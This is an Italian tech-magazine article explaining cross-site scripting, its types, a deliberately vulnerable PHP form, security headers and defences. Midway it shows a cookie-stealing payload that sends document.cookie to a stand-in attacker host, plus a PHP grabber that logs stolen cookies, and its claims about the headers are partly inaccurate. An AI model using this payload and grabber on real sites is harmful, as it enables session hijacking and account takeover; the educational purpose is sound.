Il Cross-Site Scripting, anche chiamato XSS è  una vulnerabilità presente nei siti web che non applicano sufficienti controlli sui form di inserimento dati. Un XSS permette di inserire o eseguire codice lato client, al fine di attuare un insieme di attacchi quali ad esempio la raccolta e la manipolazione con reindirizzamento di informazioni riservate, visualizzazione e modifica di dati presenti sui server e alterazione del comportamento dinamico delle pagine web. 

L'effetto del cross-site scripting può variare dall'essere un piccolo fastidio ad un significativo rischio per la sicurezza, a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai webmaster del sito. Sfruttando una vulnerabilità di questo tipo un utente malintenzionato potrebbe rubare i cookies all'amministratore di un sito web o fare eseguire qualsiasi codice javascript nel browser della vittima, semplicemente inviandogli un link che conduce alla vulnerabilità. La diffusione di questa vulnerabilità è dovuta dal fatto che è molto facile da sfruttare ed è presente nella maggior parte dei siti web.Esistono tre principali tipi di xss:
 
  • Reflected 
Questo tipo di Xss è il più comune e si verifica quando gli input dei form HTML non vengono
sanitizzati o il vettore usato dall'utente malintenzionato non viene codificato dal server. Ad esempio
se ne possono trovare nei form di ricerca utilizzati dai siti web. 

reflected xss
 
  • Persistent 
Un xss si dice "Persistent", ovvero permanente, quando è salvato su una pagina del sito web che è visibile ad ogni utente. Il codice inserito dall'utente malintenzionato, viene quindi registrato sul server ed eseguito ogni volta che viene visitata la pagina in cui il codice viene salvato. Ad esempio, se un sito web permette di inserire commenti e la textarea (dove viene inserito il commento) non filtra o rimuove il codice html inserito come commento da un utente malintenzionato, è possibile che l'xss venga salvata nella pagina dei commenti, ed ogni utente che la visiterà  sarà esposto all'xss. 

xss stored apple
 
  • Self 
Un Xss si dice "Self" quando è visibile solo dall'utente che la inserisce nell'input, oppure che si trova in un area interna del sito Web. Vulnerabilità di questo tipo non possono essere sfruttate se non vengono combinate con altre, come un Cross Site Request Forgery, ad esempio se l'xss si trova in un form che contiene le impostazioni di un account utente.
 
img self xss
 
 
Esempio di codice vulnerabile
La presenza della vulnerabilità in un sito Web dipende anche dalla conoscienza in questo campo da parte del WebMaster, che spesso conosce soltanto la programmazione, creando delle vulnerabilità nel suo codice. Un esempio di codice vulnerabile ad Xss può essere il seguente:
 
<form method="get" action="#">
<input type="text" name="nome" id="nome" placeholder="Vulnerabile" style="border: 1px solid red; width: 200px; height: 30px;">
<input type="submit" value="vulnerable" style="border: 1px solid red; height: 30px;">
</form>
<?
if (isset($_GET['nome'])) {
$n = strtolower($_GET['nome']);
$name['giorgio'] = "Bianchi";
$name['vittorio'] = "Rossi";
$name['augusto'] = "Verdi";
if (isset($name[$n])) {
echo("Il cognome di $n è $name[$n]");
} else {
echo("Non conosco il cognome di $n");
}
echo("
tempo corrente in secondi: ".time()."");
}
?>
 
Non essendoci alcun filtro sull'input name, la funzione echo("Il cognome di $n è $name[$n]"); viene stampata così come viene inserita nell'input del form html, generando una vulnerabilità di tipo Xss.
 
Contromisure 
Per contrastare lo sfruttamento di questa vulnerabilità sono stati sviluppati due moduli per Apache che bloccano l'esecuzione di script, i quali vengono iniettati tramite xss. I moduli in questione sono :
 
  •     X-Frame-Options 
Questo modulo serve a bloccare l'utilizzo del codice html <iframe src="/"> ed impedisce ad altri utenti di inserirlo di un altro sito Web, all'interno del loro sito. Può essere settato con due diverse opzioni: sameorigin e deny. 
 
Settando X-Frame-Options : SAMEORIGIN sarà possibile effettuare iframe solo dei siti che condividono la stessa origine. Di conseguenza, se qualcuno prova ad inserire nel suo sito un iframe di un sito che ha x-frame-options settato su sameorigin, non riuscirà ad inserirlo a meno che il sito in cui si prova ad inserire l'iframe sia lo stesso o un sottodominio del sito in cui viene inserito  l'iframe stesso.
 
Settando X-Frame-Options : DENY non sarà più possibile inserire alcun tipo di iframe nel sito Web, Bloccando anche le Xss basate sul codice html <iframe src="/">. Questa opzione tra le due è la più sicura. 
  •     X-XSS-Protection
Settando come header X-XSS-Protection : 1; mode=block verrà bloccata l'esecuzione del codice <script> che è uno tra i più dannosi vettori di Xss.  
Per settare questi headers di sicurezza basterà modificare il codice del file ".htaccess" inserendo:

  • X-Frame-Options 
<IfModule mod_headers.c>
  Header always append X-Frame-Options SAMEORIGIN
</IfModule>

  • X-XSS-Protection 
<IfModule mod_headers.c>
  Header set X-XSS-Protection "1; mode=block"
</IfModule> 
 
xss security headers
 
Questo però non basta a difendersi efficacemente dal Cross Site Scripting, che in base alla creatività dell'utente malintenzionato può essere sfruttato usando altri vettori di Xss. Per rubare i Cookies e salvarli su un server esterno serve, oltre alla vulnerabilità Xss, un codice php che li salva sul server. Un esempio può essere: 
 
<img src=x on-error=this.src='http://attacker-website.org/grabber.php?c='+document.cookie> 
Mentre il codice del file grabber.php potrebbe essere il seguente: 
 
<?php
$c = $_GET[c];
$f = fopen('log.htm','a');
fwrite($f,"$c<br><br>");
fclose($f);
?>
  
Questo crea una pagina html, contenente i cookies sul server dell'utente malintenzionato. Per sfruttare questo tipo di vulnerabilità basta semplicemente trovare un form vulnerabile ad xss ed inviare il link o la pagina contenente l'xss alla vittima e una volta aperto invierà (a sua insaputa) i suoi cookies al server dell'utente malintenzionato. Una volta che un utente malintenzionato è riuscito ad ottenere i cookies della vittima potrà sostituirli con i suoi, autenticandosi nell'account della vittima senza conoscerne i valori di username e password. 
 
Il vettore di xss usato in questo esempio non viene fermato dai moduli di Apache poichè bloccano solo <script> ed <iframe>
 
Come Difendersi:
 
L'unico modo per difendersi definitivamente dal Cross Site Scripting è controllare ogni form manualmente ed inserire un filtro adeguato che sanitizzi gli input e rimuova i codici html, i quali vengono inviati nei form html. Un altro modo per prevenire lo sfruttamento di queste vulnerabilità è quello di installare un web application firewall, detto anche WAF, come "ModSecurity"
che blocca le richieste considerate "nocive" con un errore di accesso negato.
 

Altri articoli dello stesso autore

banner5

fb icon evo twitter icon evo

Parola del giorno

L'acronimo SoC  (System on a Chip) nasce per descrivere quei circuiti integrati che, all'interno di un singolo chip fisico, contengono un...

>

YAML è un formato utilizzato per serializzare (ovvero salvare oggetti su supporti di memoria ad accesso seriale) dati, in modo...

>

Il termine Edge Computing descrive, all'interno di infrastrutture cloud-based, l'insieme di dispositivi e di tecnologie che permettono l'elaborazione dei dati ai...

>

L'acronimo FPGA  (Field Programmable Gate Array), descrive quei dispositivi hardware formati da un circuito integrato e con funzionalità programmabili tramite...

>

Il termine Agentless (computing) descrive operazioni dove non è necessaria la presenza e l'esecuzione di un servizio software (demone o...

>
Leggi anche le altre...

Download del giorno

Fiddler

Fiddler è un server proxy che può girare in locale per consentire il debug delle applicazioni e il...

>

Adapter Watch

Adapter Watch è uno strumento che permette di visualizzare un riepilogo completo e dettagliato delle informazioni riguardanti una determinata...

>

DNS DataView

DNS Lookup  è un tool a interfaccia grafica per effettuare il lookup DNS dal proprio PC, sfruttando i...

>

SolarWinds Traceroute NG

SolarWinds Traceroute NG è un tool a linea di comando per effettuare traceroute avanzati in ambiente Windows...

>

Network Inventory Advisor

Network Inventory Advisor  è uno strumento che permette di scansionare la rete e acquisire informazioni riguardanti tutti i...

>
Tutti i Download del giorno...

Archivio numeri

  • GURU advisor: numero 21 - maggio 2019

    GURU advisor: numero 21 - maggio 2019

  • GURU advisor: numero 20 - dicembre 2018

    GURU advisor: numero 20 - dicembre 2018

  • GURU advisor: numero 19 - luglio 2018

    GURU advisor: numero 19 - luglio 2018

  • GURU advisor: numero 18 - aprile 2018

    GURU advisor: numero 18 - aprile 2018

  • GURU advisor: numero 17 - gennaio 2018

    GURU advisor: numero 17 - gennaio 2018

  • GURU advisor: numero 16 - ottobre 2017

    GURU advisor: numero 16 - ottobre 2017

  • GURU advisor: numero 15 - luglio 2017

    GURU advisor: numero 15 - luglio 2017

  • GURU advisor: numero 14 - maggio 2017

    GURU advisor: numero 14 - maggio 2017

  • 1
  • 2
  • 3
  • Teslacrypt: rilasciata la chiave

    Gli sviluppatori del temuto ransomware TeslaCrypt hanno deciso di terminare il progetto di diffusione e sviluppo e consegnare al pubblico la chiave universale per decifrare i file. Read More
  • Proxmox 4.1 sfida vSphere

    Proxmox VE (da qui in avanti semplicemente Proxmox) è basato sul sistema operativo Debian e porta con sé vantaggi e svantaggi di questa nota distribuzione Linux: un sistema operativo stabile, sicuro, diffuso e ben collaudato. Read More
  • Malware: risvolti legali

    tutti i virus e in particolare i più recenti Ransomware, che rubano i vostri dati e vi chiedono un riscatto, violano la legge. Vediamo insieme come comportarsi, per capire anche se e quando bisogna sporgere denuncia. Read More
  • 1